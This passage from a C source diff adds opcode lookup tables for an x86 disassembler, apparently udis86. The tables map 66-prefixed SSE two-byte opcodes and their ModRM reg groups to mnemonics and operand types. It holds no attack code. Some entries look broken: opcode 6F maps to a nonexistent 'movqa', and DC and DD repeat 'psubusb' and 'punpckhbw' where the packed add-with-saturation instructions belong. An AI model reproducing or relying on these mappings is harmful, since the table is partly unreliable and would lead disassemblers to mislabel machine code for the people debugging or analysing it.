O_NONE, O_NONE, P_none }, + /* EB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* ED */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__pfx_sse66__0f[256] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Imovupd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 11 */ { UD_Imovupd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 12 */ { UD_Imovlpd, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 13 */ { UD_Imovlpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 14 */ { UD_Iunpcklpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 15 */ { UD_Iunpckhpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 16 */ { UD_Imovhpd, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 17 */ { UD_Imovhpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Imovapd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 29 */ { UD_Imovapd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2A */ { UD_Icvtpi2pd, O_V, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2B */ { UD_Imovntpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2C */ { UD_Icvttpd2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2D */ { UD_Icvtpd2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2E */ { UD_Iucomisd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 2F */ { UD_Icomisd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 50 */ { UD_Imovmskpd, O_Gd, O_VR, O_NONE, P_oso|P_rexr|P_rexb }, + /* 51 */ { UD_Isqrtpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 52 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 53 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 54 */ { UD_Iandpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 55 */ { UD_Iandnpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 56 */ { UD_Iorpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 57 */ { UD_Ixorpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 58 */ { UD_Iaddpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 59 */ { UD_Imulpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5A */ { UD_Icvtpd2ps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5B */ { UD_Icvtps2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5C */ { UD_Isubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5D */ { UD_Iminpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5E */ { UD_Idivpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5F */ { UD_Imaxpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 60 */ { UD_Ipunpcklbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 61 */ { UD_Ipunpcklwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 62 */ { UD_Ipunpckldq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 63 */ { UD_Ipacksswb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 64 */ { UD_Ipcmpgtb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 65 */ { UD_Ipcmpgtw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 66 */ { UD_Ipcmpgtd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 67 */ { UD_Ipackuswb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 68 */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 69 */ { UD_Ipunpckhwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6A */ { UD_Ipunpckhdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6B */ { UD_Ipackssdw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6C */ { UD_Ipunpcklqdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6D */ { UD_Ipunpckhqdq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 6E */ { UD_Imovd, O_V, O_Ex, O_NONE, P_c2|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 6F */ { UD_Imovqa, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 70 */ { UD_Ipshufd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 71 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_71__REG }, + /* 72 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_72__REG }, + /* 73 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_73__REG }, + /* 74 */ { UD_Ipcmpeqb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 75 */ { UD_Ipcmpeqw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 76 */ { UD_Ipcmpeqd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7C */ { UD_Ihaddpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 7D */ { UD_Ihsubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 7E */ { UD_Imovd, O_Ex, O_V, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 7F */ { UD_Imovdqa, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C2 */ { UD_Icmppd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C4 */ { UD_Ipinsrw, O_V, O_Ew, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C5 */ { UD_Ipextrw, O_Gd, O_VR, O_Ib, P_aso|P_rexr|P_rexb }, + /* C6 */ { UD_Ishufpd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_C7__REG }, + /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D0 */ { UD_Iaddsubpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D1 */ { UD_Ipsrlw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D2 */ { UD_Ipsrld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D3 */ { UD_Ipsrlq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D4 */ { UD_Ipaddq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D5 */ { UD_Ipmullw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D6 */ { UD_Imovq, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D7 */ { UD_Ipmovmskb, O_Gd, O_VR, O_NONE, P_rexr|P_rexb }, + /* D8 */ { UD_Ipsubusb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D9 */ { UD_Ipsubusw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DA */ { UD_Ipminub, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DB */ { UD_Ipand, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DC */ { UD_Ipsubusb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DD */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DE */ { UD_Ipmaxub, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* DF */ { UD_Ipandn, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E0 */ { UD_Ipavgb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E1 */ { UD_Ipsraw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E2 */ { UD_Ipsrad, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E3 */ { UD_Ipavgw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E4 */ { UD_Ipmulhuw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E5 */ { UD_Ipmulhw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E6 */ { UD_Icvttpd2dq, O_V, O_W, O_NONE, P_none }, + /* E7 */ { UD_Imovntdq, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E8 */ { UD_Ipsubsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E9 */ { UD_Ipsubsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EA */ { UD_Ipminsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EB */ { UD_Ipor, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EC */ { UD_Ipaddsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* ED */ { UD_Ipaddsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EE */ { UD_Ipmaxsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* EF */ { UD_Ipxor, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F1 */ { UD_Ipsllw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F2 */ { UD_Ipslld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F3 */ { UD_Ipsllq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F4 */ { UD_Ipmuludq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F5 */ { UD_Ipmaddwd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F6 */ { UD_Ipsadbw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F7 */ { UD_Imaskmovq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F8 */ { UD_Ipsubb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F9 */ { UD_Ipsubw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FA */ { UD_Ipsubd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FB */ { UD_Ipsubq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FC */ { UD_Ipaddb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FD */ { UD_Ipaddw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__pfx_sse66__0f__op_71__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ipsrlw, O_VR, O_Ib, O_NONE, P_rexb }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Ipsraw, O_VR, O_Ib, O_NONE, P_rexb }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ipsllw, O_VR, O_Ib, O_NONE, P_rexb }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__pfx_sse66__0f__op_72__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ipsrld, O_VR, O_Ib, O_NONE, P_rexb }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Ipsrad, O_VR, O_Ib, O_NONE, P_rexb }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ipslld, O_VR, O_Ib, O_NONE, P_rexb }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__pfx_sse66__0f__op_73__reg[8] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ipsrlq, O_VR, O_Ib, O_NONE, P_rexb }, + /* 03 */ { UD_Ipsrldq, O_VR, O_Ib, O_NONE, P_rexb }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ipsllq, O_VR, O_Ib, O_NONE, P_rexb }, + /* 07 */ { UD_Ipslldq, O_VR, O_Ib, O_NONE, P_rexb }, +}; + +static struct ud_itab_entry itab__pfx_sse66__0f__op_c7__reg[8] = { + /* 00 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSE66__0F__OP_C7__REG__OP_00__VENDOR }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry 